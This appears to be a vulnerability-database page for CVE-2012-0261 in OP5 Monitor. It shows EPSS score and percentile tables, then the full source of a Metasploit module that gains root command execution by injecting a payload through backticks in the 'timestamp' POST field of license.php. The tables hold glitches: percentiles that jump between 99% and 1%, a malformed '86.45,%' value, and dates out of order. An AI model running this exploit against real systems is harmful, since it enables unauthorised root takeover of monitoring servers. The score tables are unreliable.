CVE-2012-0261 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	82.15%	–	–
2022-04-03	–	–	82.15%	–	–
2022-06-19	–	–	80.92%	–	–
2022-07-17	–	–	80.92%	–	–
2022-08-07	–	–	80.92%	–	–
2022-08-28	–	–	80.92%	–	–
2023-03-12	–	–	–	87.51%	–
2023-03-19	–	–	–	87.49%	–
2023-07-02	–	–	–	87.54%	–
2023-10-01	–	–	–	87.91%	–
2023-11-19	–	–	–	86.79%	–
2024-02-25	–	–	–	86.79%	–
2024-06-02	–	–	–	87.18%	–
2024-07-21	–	–	–	83.83%	–
2024-11-24	–	–	–	85.62%	–
2024-12-22	–	–	–	88.66%	–
2025-01-26	–	–	–	86.44%	–
2025-01-19	–	–	–	88.66%	–
2025-01-25	–	–	–	86.44%	–
2025-03-18	–	–	–	–	86.45%
2025-03-18	–	–	–	–	86.45,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-04-03	1%
2022-06-19	99%
2022-07-17	1%
2022-08-07	99%
2022-08-28	1%
2023-03-12	98%
2023-03-19	98%
2023-07-02	98%
2023-10-01	98%
2023-11-19	98%
2024-02-25	99%
2024-06-02	99%
2024-07-21	99%
2024-11-24	99%
2024-12-22	99%
2025-01-26	99%
2025-01-19	99%
2025-01-25	99%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'OP5 license.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary root command execution vulnerability in the OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5, 5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable. }, 'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-0261'], ['OSVDB', '78064'], ['URL', 'http://secunia.com/advisories/47417/'], ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'BadChars' => '`\\|', 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl ruby python', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 05 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]), ], self.class) end def check vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...") vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") # Try running/timing 'ping localhost' to determine is system is vulnerable start = Time.now data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install'; res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'method' => 'POST', 'proto' => 'HTTPS', 'data' => data, 'headers' => { 'Connection' => 'close', } }, 25) elapsed = Time.now - start if elapsed >= 5 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install'; res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'method' => 'POST', 'proto' => 'HTTPS', 'data' => data, 'headers' => { 'Connection' => 'close', } }, 25) if(not res) if session_created? print_status("Session created, enjoy!") else print_error("No response from the server") end return end end end